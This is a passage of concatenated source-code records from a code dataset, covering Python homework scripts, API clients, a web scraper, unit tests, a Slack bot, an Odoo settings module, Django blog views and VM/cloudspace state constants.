green')\nplt.plot(x, flow_202009)\nplt.xlabel('days in September 2020')\nplt.ylabel('flow')\nplt.legend()\nplt.savefig('graphs/flow_202009')\n#%%\n# Make a histogram of data for month 9\nflow_data9 = flow_data[(flow_data[:,3] < 400) & (flow_data[:,1]==9), 3]\nmean9 = np.mean(flow_data9)\nprint(mean9)\n# Use the linspace funciton to create a set of evenly spaced bins\nmybins = np.linspace(0, 1000, num=25)\n# another example using the max flow to set the upper limit for the bins\n#mybins = np.linspace(0, np.max(flow_data[:,3]), num=15) \n#Plotting the histogram\nfig9 = plt.figure()\nfig9.patch.set_facecolor('xkcd:mint green')\nplt.hist(flow_data9[:], bins = mybins)\nplt.title('Streamflow_9')\nplt.xlabel('Flow [cfs]')\nplt.ylabel('Count')\nplt.savefig('graphs/g9')\n# %%\n# Make a histogram of data for month 10\nflow_data10 = flow_data[(flow_data[:,3] < 400) & (flow_data[:,1]==10), 3]\nmean10 = np.mean(flow_data10)\nprint(mean10)\n# Use the linspace funciton to create a set of evenly spaced bins\nmybins = np.linspace(0, 1000, num=25)\n# another example using the max flow to set the upper limit for the bins\n#mybins = np.linspace(0, np.max(flow_data[:,3]), num=15) \n#Plotting the histogram\nfig10 = plt.figure()\nfig10.patch.set_facecolor('xkcd:mint green')\nplt.hist(flow_data10[:], bins = mybins)\nplt.title('Streamflow_10')\nplt.xlabel('Flow [cfs]')\nplt.ylabel('Count')\nplt.savefig('graphs/g10')\n# %%\n# %%\n# Make a histogram of data for month 11\nflow_data11 = flow_data[(flow_data[:,3] < 400) & (flow_data[:,1]==11), 3]\nmean11 = np.mean(flow_data11)\nprint(mean11)\n# Use the linspace funciton to create a set of evenly spaced bins\nmybins = np.linspace(0, 1000, num=25)\n# another example using the max flow to set the upper limit for the bins\n#mybins = np.linspace(0, np.max(flow_data[:,3]), num=15) \n#Plotting the histogram\nfig11 = plt.figure()\nfig11.patch.set_facecolor('xkcd:mint green')\nplt.hist(flow_data11[:], bins = mybins)\nplt.title('Streamflow_11')\nplt.xlabel('Flow [cfs]')\nplt.ylabel('Count')\nplt.savefig('graphs/g11')\n# %%\n# Make a histogram of data for month 12\nflow_data12 = flow_data[(flow_data[:,3] < 400) & (flow_data[:,1]==12), 3]\nmean12 = np.mean(flow_data12)\nprint(mean12)\n# Use the linspace funciton to create a set of evenly spaced bins\nmybins = np.linspace(0, 1000, num=25)\n# another example using the max flow to set the upper limit for the bins\n#mybins = np.linspace(0, np.max(flow_data[:,3]), num=15) \n#Plotting the histogram\nfig12 = plt.figure()\nfig12.patch.set_facecolor('xkcd:mint green')\nplt.hist(flow_data12[:], bins = mybins)\nplt.title('Streamflow_12')\nplt.xlabel('Flow [cfs]')\nplt.ylabel('Count')\nplt.savefig('graphs/g12')\n# %%\n","sub_path":"assignment_4/Mitchell_HW4.py","file_name":"Mitchell_HW4.py","file_ext":"py","file_size_in_byte":6075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"178647544","text":"# coding: utf-8\n# 概要\n# 通過情報をAPIを利用して取得する\n################ 変更履歴 ######################\n## 2017/09/13 作成\n\n###############################################\n\nimport itertools\nfrom datetime import datetime\nimport math\nimport os\nimport configparser\nimport sys\nimport urllib.request\nimport json\nclass ForgeApi(object):\n\t# 初期化処理\n\tdef __init__(self,dict):\n\t\t# 環境変数を取得する。\n\t\tself.homeDir = os.environ[\"APPMONEYTRADE\"]\n\n\t\t# iniconfigファイルを読み出す。\n\t\tself.inifile = dict['util'].inifile\n\n\t\t# 機能ID\n\t\tself.pid = dict['pid']\n\t\tself.utilClass = dict['util']\n\t\t\n\n\t# 全ての通貨ペアの値段を取得する。\n\tdef quotesApi(self,key,timeout=7):\n\t\t# 全ての通貨ペアの値段を取得する。\n\t\tparelist = self.inifile.get('moneypare','moneypare')\t\n\t\tdata = {}\n\t\tdata['pairs'] = parelist\n\t\tdata['api_key'] = key\n\t\turl_values = urllib.parse.urlencode(data)\n\t\treq = urllib.request.Request(\"https://forex.1forge.com/1.0.3/quotes?\" + url_values,headers={'User-Agent': 'Mozilla/5.0'})\n\n\t\t# responseの初期値を取得する。\n\t\tresponse = 0\n\t\t# HTTPとかタイムアウト時の処理\n\t\ttry:\n\t\t\twith urllib.request.urlopen(req,timeout=7) as res:\n\t\t\t\tresponse = res.read().decode(\"utf-8\")\n\t\texcept:\n\t\t\tself.utilClass.loggingError('quotesApi is HttpError')\n\n\t\treturn response\n","sub_path":"source/service/forge/ForgeApi.py","file_name":"ForgeApi.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"627480602","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nurl = 'https://rate.bot.com.tw/xrt/quote/2020-07/USD'\r\nresponse = requests.get(url).text\r\nsoup = BeautifulSoup(response, features='html.parser')\r\ntr_tags = soup.find_all('tbody')[0].find_all('tr')\r\n\r\nall_days = [['時間','本行買入','本行賣出','即期買入','即期賣出']]\r\nfor tag in tr_tags:\r\n data = tag.text\r\n info = data.split('\\n')[1:-1]\r\n info.pop(1)\r\n all_days.insert(1,info)\r\n\r\nimport csv\r\nfilename = 'rate.csv'\r\nwith open(filename, encoding='Big5', mode='w') as csvfile:\r\n writer = csv.writer(csvfile)\r\n writer.writerows(all_days)\r\n","sub_path":"Day15/homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"68468360","text":"import unittest\nfrom client3 import getDataPoint, getRatio\n\n\nclass ClientTest(unittest.TestCase):\n\n def test_getDataPoint_calculatePrice(self):\n quotes = [\n {\n \"top_ask\": {\n \"price\": 121.2,\n \"size\": 36\n },\n \"timestamp\": \"2019-02-11 22:06:30.572453\",\n \"top_bid\": {\n \"price\": 120.48,\n \"size\": 109\n },\n \"id\": \"0.109974697771\",\n \"stock\": \"ABC\",\n },\n {\n \"top_ask\": {\n \"price\": 121.68,\n \"size\": 4\n },\n \"timestamp\": \"2019-02-11 22:06:30.572453\",\n \"top_bid\": {\n \"price\": 117.87,\n \"size\": 81\n },\n \"id\": \"0.109974697771\",\n \"stock\": \"DEF\",\n },\n ]\n \"\"\" ------------ Add the assertion below ------------ \"\"\"\n quote0 = \"ABC\", 120.48, 121.2, (120.48 + 121.2) / 2\n\n self.assertEqual(getDataPoint(quotes[0]), quote0)\n\n def test_getDataPoint_calculatePriceBidGreaterThanAsk(self):\n quotes = [\n {\n \"top_ask\": {\n \"price\": 119.2,\n \"size\": 36\n },\n \"timestamp\": \"2019-02-11 22:06:30.572453\",\n \"top_bid\": {\n \"price\": 120.48,\n \"size\": 109\n },\n \"id\": \"0.109974697771\",\n \"stock\": \"ABC\",\n },\n {\n \"top_ask\": {\n \"price\": 121.68,\n \"size\": 4\n },\n \"timestamp\": \"2019-02-11 22:06:30.572453\",\n \"top_bid\": {\n \"price\": 117.87,\n \"size\": 81\n },\n \"id\": \"0.109974697771\",\n \"stock\": \"DEF\",\n },\n ]\n \"\"\" ------------ Add the assertion below ------------ \"\"\"\n for quote in quotes:\n expectedResult = (\n quote[\"stock\"],\n quote[\"top_bid\"][\"price\"],\n quote[\"top_ask\"][\"price\"],\n round(((quote[\"top_bid\"][\"price\"] + quote[\"top_ask\"][\"price\"]) / 2),\n 2),\n )\n self.assertEqual(getDataPoint(quote), expectedResult)\n\n \"\"\" ------------ Add more unit tests ------------ \"\"\"\n\n def test_getRatio_calculateRatioAgainstAZeroPrice(self):\n self.assertEqual(getRatio(100, 0), False)\n\n def test_getRatio_caclulateRatioOnFirstPriceZero(self):\n self.assertEqual(getRatio(0, 1233.3), 0)\n\n def test_getRatio_calculateRatioAgainstLess(self):\n self.assertGreater(getRatio(123.32, 53.23), 1)\n\n def test_getRatio_calculateRatioAgainstGreater(self):\n self.assertLess(getRatio(123.32, 153.23), 1)\n\n def test_getRatio_calculateRatioAgainstGreater(self):\n self.assertEqual(getRatio(1, 1), 1)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"client_test.py","file_name":"client_test.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"79420956","text":"import json\nimport os\nimport random\nimport time\nfrom urllib.error import HTTPError\n\nfrom bottlenose import api\nfrom bs4 import BeautifulSoup\nfrom slackbot.bot import listen_to\n\n\ndef error_handler(err):\n ex = err['exception']\n if isinstance(ex, HTTPError) and ex.code == 503:\n time.sleep(random.expovariate(0.1))\n return True\n\n\ndef fetch_book_data(word):\n key = os.environ['AMAZON_KEY']\n secret = os.environ['AMAZON_SECRET']\n tag = os.environ['AMAZON_ASSOCIATE_TAG']\n \n amazon = api.Amazon(key, secret, tag, Region='JP',\n ErrorHandler=error_handler)\n res = amazon.ItemSearch(Keywords=word, SearchIndex='Books',\n ResponseGroup='Medium')\n res = BeautifulSoup(res, 'lxml')\n \n if res.totalresults.text == '0':\n raise RuntimeError('Search resullts could not be found.')\n \n return [{\n 'title': res.title.text,\n 'title_link': res.detailpageurl.text,\n 'text': res.author.text,\n 'image_url': res.largeimage.url.text\n }]\n\n\n@listen_to('^(?:本|ほん|book)[\\s ]+(.*)')\ndef book(message, word):\n try:\n message.send_webapi('', json.dumps(fetch_book_data(word)))\n except RuntimeError:\n message.send('検索結果が見つかりませんでした :sweat_drops:')\n","sub_path":"kotatsu/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"13073574","text":"\"\"\"\n求最大公约数和最小公倍数\n\"\"\"\ndef ged(x,y):\n if x>y:\n (x,y)=(y,x)\n for i in range(x,1,-1):\n if x % i ==0 and y % i == 0:\n return i\n return 1\ndef lcm(x,y):\n return x*y//ged(x,y)\n\nprint(ged(15,27))\nprint(lcm(15,27))\n","sub_path":"day6/function2.py","file_name":"function2.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"341428718","text":"def e(s):\n cs={}\n for c in s:\n if c not in cs:\n cs[c]=1\n else:\n cs[c]+=1\n od=0\n for c in cs:\n if cs[c]%2!=0:\n od+=1\n if od>1:\n return 'no'\n return 'yes'\n\ni=open('problem4.final.txt', 'r')\no=open('grossam2.4.txt', 'w')\ns=i.readline()\nwhile s!='':\n o.write(e(s[:-1]) + '\\n')\n s=i.readline()\no.close()\ni.close()\n","sub_path":"submissions/grossam2.4.py","file_name":"grossam2.4.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"201069701","text":"# course: Object-oriented programming, year 2, semester 1\n# academic year: 201920\n# author: B. Schoen-Phelan\n# date: 08-10-2019\n# purpose: Lab 3\n\n# import sys\n\nclass WordScramble:\n def __init__(self):\n self.user_input = input(\"Please give me a sentence: \")\n # if self.user_input.isdigit():\n # sys.exit(\"We would have needed a word not a number\")\n\n def scramble(self):\n # print what was input\n print(\"The user input was: \", self.user_input)\n\n # first scramble is just one word\n # reverse two indices\n # particularly good to use is to switch the first two\n # and the last two\n # this only makes sense if you have a world that is longer than 3\n # if len(self.user_input) > 3:\n # new_word = self.user_input[0] + self.user_input[2] + self.user_input[1] \\\n # + self.user_input[3:]\n # elif len(self.user_input) <= 3:\n # new_word = self.user_input\n # else: # here we assume this word is just one character long or the space character\n # print(\"try again\")\n # new_word = False\n #\n # print(new_word)\n\n\n # one solution for full sentence\n sentence = self.user_input.strip().split()\n #\n # # Get the word from the sentence\n for index, word in enumerate(sentence):\n # check the length of the word > 3\n if len(word) > 3:\n # swap the indice of 2 and last element\n temp_word = list(word) # we use a list for item assignment, but could also just use another new string variable\n if (',' in temp_word) or ('.' in temp_word):\n temp = temp_word[1]\n temp_word[1] = temp_word[-3]\n temp_word[-3] = temp\n else:\n # split the word in to a list of characters and swap\n # this swap leaves first and last in tact\n temp = temp_word[1]\n temp_word[1] = temp_word[-2]\n temp_word[-2] = temp\n\n # Join the characters together and form the word\n swapped_word = ''.join(temp_word)\n # replace the previous word at that position with the new swapped word\n sentence[index] = swapped_word\n else:\n # Since the length of the word < 3 don't swap the word\n sentence[index] = word\n\n # Join all the words with a space\n the_swap = ' '.join(sentence)\n # Print word\n print(the_swap)\n\nword_scrambler = WordScramble()\nword_scrambler.scramble()\n# print(string.punctuation)\n","sub_path":"Labs/lab_3_solution.py","file_name":"lab_3_solution.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"240813033","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/will/projects/moya/moya/command/sub/apps.py\n# Compiled at: 2015-11-29 05:52:18\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom ...command import SubCommand\nfrom ...wsgi import WSGIApplication\nfrom ...console import Cell\n\nclass Apps(SubCommand):\n \"\"\"List project applications\"\"\"\n help = b'get application information'\n\n def add_arguments(self, parser):\n parser.add_argument(b'-l', b'--location', dest=b'location', default=None, metavar=b'PATH', help=b'location of the Moya server code')\n parser.add_argument(b'-i', b'--ini', dest=b'settings', default=None, metavar=b'SETTINGSPATH', help=b'path to projects settings file')\n return parser\n\n def run(self):\n application = WSGIApplication(self.location, self.get_settings(), disable_autoreload=True, master_settings=self.master_settings)\n archive = application.archive\n table = []\n for name, app in sorted(archive.apps.items()):\n table.append([\n name,\n app.lib.long_name,\n Cell(app.lib.version, bold=True, fg=b'magenta')])\n\n self.console.table(table, [\n b'app', b'lib', b'version'])","sub_path":"pycfiles/moya-0.6.20-py2.py3-none-any/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"605010735","text":"import collections\nfrom typing import List\n\nclass Solution:\n def maxSlidingWindow_brute_force(self, nums: List[int], k: int) -> List[int]:\n if not nums:\n return nums\n \n r = []\n for i in range(len(nums) - k + 1):\n r.append(max(nums[i:i+k]))\n\n return r\n\n def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\n results = []\n window = collections.deque()\n current_max = float('-inf')\n for i, v in enumerate(nums):\n window.append(v)\n print(v, window)\n if i < k - 1:\n continue\n\n if current_max == float('-inf'):\n current_max = max(window)\n elif v > current_max:\n current_max = v\n\n results.append(current_max)\n\n if current_max == window.popleft():\n current_max = float('-inf')\n\n return results\n\n\nif __name__ == \"__main__\":\n nums = [1, 3, -1, -3, 5, 3, 6, 7]\n k = 3\n result = Solution().maxSlidingWindow(nums, k)\n for r in result:\n print(r)\n","sub_path":"python/239_Sliding_Window_Maximum.py","file_name":"239_Sliding_Window_Maximum.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"37794021","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Business Applications\n# Copyright (C) 2004-2012 OpenERP S.A. ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\nfrom openerp.osv import fields, osv\n\nclass stock_config_settings(osv.osv_memory):\n _inherit = 'stock.config.settings'\n\n _columns = {\n 'source_loc_id':fields.many2one('stock.location', 'Default Source Location'),\n 'destination_loc_id':fields.many2one('stock.location', 'Default Destination Location')\n }\n\n def get_default_source_loc_id(self, cr, uid, fields, context=None):\n user = self.pool.get('res.users').browse(cr, uid, uid, context = context)\n company_obj = self.pool.get('res.company')\n company = company_obj.browse(cr, uid, user.company_id.id)\n if not company.source_loc_id:\n source_loc_id = False\n else:\n source_loc_id = company.source_loc_id.id\n return {'source_loc_id': source_loc_id}\n def get_default_destination_loc_id(self, cr, uid, fields, context=None):\n user = self.pool.get('res.users').browse(cr, uid, uid, context = context)\n company_obj = self.pool.get('res.company')\n company = company_obj.browse(cr, uid, user.company_id.id)\n if not company.destination_loc_id:\n destination_loc_id = False\n else:\n destination_loc_id = company.destination_loc_id.id\n return {'destination_loc_id': destination_loc_id}\n \n def execute(self, cr, uid, ids, context=None):\n res = super(stock_config_settings, self).execute(cr, uid, ids, context=context)\n user = self.pool.get('res.users').browse(cr, uid, uid, context = context)\n company_obj = self.pool.get('res.company')\n company = company_obj.browse(cr, uid, user.company_id.id)\n config = self.browse(cr, uid, ids[0], context)\n if config.source_loc_id:\n company_obj.write(cr, uid, user.company_id.id, {'source_loc_id':config.source_loc_id.id})\n if config.destination_loc_id:\n company_obj.write(cr, uid, user.company_id.id, {'destination_loc_id':config.destination_loc_id.id})\n return res\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"tko_stock_location_default/res_config.py","file_name":"res_config.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"5132433","text":"from django.shortcuts import render, redirect, HttpResponse\nimport json\nimport random\n# Create your views here.\nfrom django.db.models import Count, Avg, Max\nfrom django.contrib import auth\nfrom app01.models import ArticleUpDown, Comment\nfrom app01 import models\nfrom django.http import JsonResponse\nfrom django.db.models import F\nfrom django.db import transaction\nfrom app01.models import Article, UserInfo, Category, Tag, Article2Tag\n\n\ndef login(request):\n if request.method == \"POST\":\n user = request.POST.get(\"user\")\n pwd = request.POST.get(\"pwd\")\n code = request.POST.get('code')\n if code.upper() != request.session['random_code'].upper():\n return render(request, 'login.html', {'msg': \"验证码错误\"})\n user = auth.authenticate(username=user, password=pwd)\n if user:\n auth.login(request, user)\n return redirect(\"/index/\")\n return render(request, \"login.html\")\n\n\ndef index(request):\n article_list = Article.objects.all()\n return render(request, \"index.html\", {\"article_list\": article_list})\n\n\ndef logout(request):\n auth.logout(request)\n\n return redirect(\"/index/\")\n\n\ndef homesite(request, username, **kwargs):\n \"\"\"\n 查询\n :param request:\n :param username:\n :return:\n \"\"\"\n\n # print(\"kwargs\", kwargs)\n\n # 查询当前站点的用户对象\n user = UserInfo.objects.filter(username=username).first()\n if not user:\n return render(request, \"not_found.html\")\n # 查询当前站点对象\n blog = user.blog\n\n # 查询当前用户发布的所有文章\n if not kwargs:\n article_list = Article.objects.filter(user__username=username)\n\n else:\n condition = kwargs.get(\"condition\")\n params = kwargs.get(\"params\")\n\n if condition == \"category\":\n article_list = Article.objects.filter(user__username=username).filter(category__title=params)\n elif condition == \"tag\":\n article_list = Article.objects.filter(user__username=username).filter(tags__title=params)\n else:\n year, month = params.split(\"/\")\n article_list = Article.objects.filter(user__username=username).filter(create_time__year=year,\n create_time__month=month)\n\n if not article_list:\n return render(request, \"not_found.html\")\n\n # # 查询当前站点每一个分类的名称以及对应的文章数\n #\n # cate_list=Category.objects.filter(blog=blog).annotate(c=Count(\"article__title\")).values_list(\"title\", \"c\")\n # print(cate_list)\n #\n # # 查询当前站点每一个标签的名称以及对应的文章数\n #\n # tag_list=Tag.objects.filter(blog=blog).annotate(c=Count(\"article__title\")).values_list(\"title\", \"c\")\n #\n # # 日期归档\n #\n # date_list=Article.objects.filter(user=user).extra(select={\"y_m_date\":\"strftime('%%Y/%%m',create_time)\"}).values(\"y_m_date\").annotate(c=Count(\"title\")).values_list(\"y_m_date\",\"c\")\n # print(date_list)\n\n return render(request, \"homesite.html\", locals())\n\n\ndef article_detail(request, username, article_id):\n user = UserInfo.objects.filter(username=username).first()\n # 查询当前站点对象\n blog = user.blog\n\n article_obj = Article.objects.filter(pk=article_id).first()\n # 显示出当前文章所有的评论\n comment_list = Comment.objects.filter(article_id=article_id)\n\n return render(request, 'article_detail.html', locals())\n\n\ndef digg(request):\n # print(request.POST)\n is_up = json.loads(request.POST.get('is_up'))\n article_id = request.POST.get('article_id')\n user_id = request.user.pk\n response = {'state': True, 'msg': None}\n obj = ArticleUpDown.objects.filter(user_id=user_id, article_id=article_id).first()\n if obj:\n response['state'] = False\n response['handled'] = obj.is_up\n else:\n with transaction.atomic():\n new_obj = ArticleUpDown.objects.create(user_id=user_id, article_id=article_id, is_up=is_up)\n if is_up:\n Article.objects.filter(pk=article_id).update(up_count=F('up_count') + 1)\n else:\n Article.objects.filter(pk=article_id).update(down_count=F('down_count') + 1)\n return JsonResponse(response)\n\n\ndef comment(request):\n # 获取数据\n user_id = request.user.pk\n article_id = request.POST.get(\"article_id\")\n content = request.POST.get(\"content\")\n pid = request.POST.get(\"pid\")\n # 将获取到的数据进行整合,并且生成评论对象\n\n with transaction.atomic():\n comment = Comment.objects.create(user_id=user_id, article_id=article_id, content=content, parent_comment_id=pid)\n Article.objects.filter(pk=article_id).update(comment_count=F(\"comment_count\") + 1)\n\n response = {\"state\": True}\n response[\"timer\"] = comment.create_time.strftime(\"%Y-%m-%d %X\")\n response[\"content\"] = comment.content\n response[\"user\"] = request.user.username\n\n return JsonResponse(response)\n\n\ndef backend(request):\n user = request.user\n article_list = Article.objects.filter(user=user)\n return render(request, \"backend/backend.html\", locals())\n\n\ndef add_article(request):\n if request.method == \"POST\":\n\n title = request.POST.get(\"title\")\n content = request.POST.get(\"content\")\n user = request.user\n cate_pk = request.POST.get(\"cate\")\n tags_pk_list = request.POST.getlist(\"tags\")\n\n from bs4 import BeautifulSoup\n soup = BeautifulSoup(content, \"html.parser\")\n # 对文章进行过滤:\n for tag in soup.find_all():\n # print(tag.name)\n if tag.name in [\"script\", ]:\n tag.decompose()\n\n # 切片文章文本\n desc = soup.text[0:150]\n\n article_obj = Article.objects.create(title=title, content=str(soup), user=user, category_id=cate_pk, desc=desc)\n\n for tag_pk in tags_pk_list:\n Article2Tag.objects.create(article_id=article_obj.pk, tag_id=tag_pk)\n\n return redirect(\"/backend/\")\n\n\n else:\n\n blog = request.user.blog\n cate_list = Category.objects.filter(blog=blog)\n tags = Tag.objects.filter(blog=blog)\n return render(request, \"backend/add_article.html\", locals())\n\n\nfrom cnblog import settings\nimport os.path\n\n\ndef upload(request):\n # print(request.FILES)\n obj = request.FILES.get(\"upload_img\")\n name = obj.name\n path = os.path.join(settings.BASE_DIR, \"static\", \"upload\", name)\n with open(path, \"wb\") as f:\n for line in obj:\n f.write(line)\n\n import json\n\n res = {\n \"error\": 0,\n \"url\": \"/static/upload/\" + name\n }\n\n return HttpResponse(json.dumps(res))\n\n\ndef delete(request, nid):\n # Article.objects.filter(nid=nid).delete()\n return HttpResponse(str(nid))\n\n\ndef edit_article(request, nid):\n # if request.method=='POST':\n article_obj = Article.objects.filter(nid=nid).first()\n tag_list = Article2Tag.objects.filter(article_id=nid).values_list('tag_id')\n tag_list_id = []\n for i in tag_list:\n tag_list_id.append(i[0])\n print(tag_list_id)\n blog = request.user.blog\n cate_list = Category.objects.filter(blog=blog)\n tags = Tag.objects.filter(blog=blog)\n print('tags', tags)\n cate_id = cate_list.filter(blog=blog, article__pk=nid).values_list('pk').first()[0]\n # print('cate_id', cate_id)\n return render(request, 'backend/edit_article.html/', locals())\n\n\nfrom utils.code import check_code\n\n\ndef code(request):\n img, random_code = check_code()\n request.session['random_code'] = random_code\n from io import BytesIO\n stream = BytesIO()\n img.save(stream, 'png')\n return HttpResponse(stream.getvalue())\n","sub_path":"cnblog/app01/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"144312972","text":"# -*- coding: utf-8 -*-\n# COPYRIGHT (C) 2018-2019 GIG TECHNOLOGY NV\n# ALL RIGHTS RESERVED.\n#\n# ALTHOUGH YOU MAY BE ABLE TO READ THE CONTENT OF THIS FILE, THIS FILE\n# CONTAINS CONFIDENTIAL INFORMATION OF GIG TECHNOLOGY NV. YOU ARE NOT ALLOWED\n# TO MODIFY, REPRODUCE, DISCLOSE, PUBLISH OR DISTRIBUTE ITS CONTENT,\n# EMBED IT IN OTHER SOFTWARE, OR CREATE DERIVATIVE WORKS, UNLESS PRIOR\n# WRITTEN PERMISSION IS OBTAINED FROM GIG TECHNOLOGY NV.\n#\n# THE COPYRIGHT NOTICE ABOVE DOES NOT EVIDENCE ANY ACTUAL OR INTENDED\n# PUBLICATION OF SUCH SOURCE CODE.\n#\n# @@license_version:1.8@@\n\n\nclass Machine(object):\n \"\"\"\n Define possible machine model status\n \"\"\"\n\n VIRTUAL = \"VIRTUAL\"\n HALTED = \"HALTED\"\n RUNNING = \"RUNNING\"\n PAUSED = \"PAUSED\"\n DELETED = \"DELETED\"\n DESTROYED = \"DESTROYED\"\n ERROR = \"ERROR\"\n\n DEPLOYING = \"DEPLOYING\"\n STOPPING = \"STOPPING\"\n RESTORING = \"RESTORING\"\n STARTING = \"STARTING\"\n PAUSING = \"PAUSING\"\n RESUMING = \"RESUMING\"\n REBOOTING = \"REBOOTING\"\n RESETTING = \"RESETTING\"\n DELETING = \"DELETING\"\n DESTROYING = \"DESTROYING\"\n ADDING_DISK = \"ADDING_DISK\"\n ATTACHING_DISK = \"ATTACHING_DISK\"\n DETACHING_DISK = \"DETACHING_DISK\"\n DELETING_DISK = \"DELETING_DISK\"\n CHANGING_DISK_LIMITS = \"CHANGING_DISK_LIMITS\"\n CLONING = \"CLONING\"\n RESIZING = \"RESIZING\"\n CREATING_TEMPLATE = \"CREATING_TEMPLATE\"\n\n INVALID_STATES = [DESTROYED, DELETED, ERROR, DESTROYING]\n NON_CONSUMING_STATES = [DESTROYED, DELETED, ERROR, HALTED]\n VALID_STATES = [PAUSED, HALTED, RUNNING]\n UP_STATES = [RUNNING, PAUSED]\n STATIC_STATES = [VIRTUAL, HALTED, RUNNING, PAUSED, DELETED, DESTROYED]\n TRANSITION_STATES = [\n DEPLOYING,\n STOPPING,\n STARTING,\n REBOOTING,\n RESETTING,\n PAUSING,\n RESUMING,\n DELETING,\n RESTORING,\n DESTROYING,\n ADDING_DISK,\n ATTACHING_DISK,\n DETACHING_DISK,\n CLONING,\n RESIZING,\n CREATING_TEMPLATE,\n CHANGING_DISK_LIMITS,\n DELETING_DISK,\n ]\n\n ALLOWED_TRANSITIONS = {\n VIRTUAL: [DEPLOYING, DESTROYING],\n RUNNING: [\n PAUSING,\n STOPPING,\n DELETING,\n RESETTING,\n REBOOTING,\n ADDING_DISK,\n DELETING_DISK,\n ATTACHING_DISK,\n DETACHING_DISK,\n DESTROYING,\n RESIZING,\n CHANGING_DISK_LIMITS,\n ],\n PAUSED: [\n RESUMING,\n STOPPING,\n DELETING,\n RESETTING,\n REBOOTING,\n ADDING_DISK,\n DELETING_DISK,\n ATTACHING_DISK,\n DETACHING_DISK,\n DESTROYING,\n RESIZING,\n CHANGING_DISK_LIMITS,\n ],\n HALTED: [\n STARTING,\n DELETING,\n DESTROYING,\n ADDING_DISK,\n ATTACHING_DISK,\n DETACHING_DISK,\n DESTROYING,\n CLONING,\n RESIZING,\n REBOOTING,\n RESETTING,\n DELETING_DISK,\n CREATING_TEMPLATE,\n CHANGING_DISK_LIMITS,\n ],\n DELETED: [RESTORING, DESTROYING],\n DESTROYED: [],\n }\n\n\nclass Cloudspace(object):\n # static states\n VIRTUAL = \"VIRTUAL\"\n DEPLOYED = \"DEPLOYED\"\n DESTROYED = \"DESTROYED\"\n DELETED = \"DELETED\"\n PAUSED = \"PAUSED\"\n ERROR = \"ERROR\"\n DISABLED = \"DISABLED\"\n\n # transition states\n DEPLOYING = \"DEPLOYING\"\n DISABLING = \"DISABLING\"\n ENABLING = \"ENABLING\"\n DELETING = \"DELETING\"\n DESTROYING = \"DESTROYING\"\n RESTORING = \"RESTORING\"\n PAUSING = \"PAUSING\"\n RESUMING = \"RESUMING\"\n RESETTING = \"RESETTING\"\n UPDATING = \"UPDATING\"\n\n TRANSITION_STATES = [\n DEPLOYING,\n DISABLING,\n ENABLING,\n DELETING,\n DESTROYING,\n RESTORING,\n PAUSING,\n RESUMING,\n RESETTING,\n UPDATING,\n ]\n STATIC_STATES = [VIRTUAL, DEPLOYED, DESTROYED, DELETED, DISABLED, PAUSED]\n VALID_STATES = [DEPLOYED, PAUSED]\n INVALID_STATES = [DESTROYED, DESTROYING, DELETED, DISABLED]\n ALLOWED_TRANSITIONS = {\n VIRTUAL: [DEPLOYING, DELETING, DESTROYING],\n DEPLOYED: [\n DISABLING,\n DELETING,\n DESTROYING,\n PAUSING,\n RESETTING,\n RESUMING,\n UPDATING,\n ],\n PAUSED: [\n RESUMING,\n RESETTING,\n ENABLING,\n DISABLING,\n DELETING,\n DESTROYING,\n UPDATING,\n ],\n DELETED: [DESTROYING, RESTORING],\n DISABLED: [ENABLING, DELETING, DESTROYING],\n DESTROYED: [],\n }\n\n\nclass Account(object):\n DESTROYED = \"DESTROYED\"\n CONFIRMED = \"CONFIRMED\"\n DISABLED = \"DISABLED\"\n DELETED = \"DELETED\"\n\n DESTROYING = \"DESTROYING\"\n DISABLING = \"DISABLING\"\n ENABLING = \"ENABLING\"\n DELETING = \"DELETING\"\n RESTORING = \"RESTORING\"\n DESTROYING = \"DESTROYING\"\n\n INVALID_STATES = [DESTROYED, DESTROYING, DELETED]\n 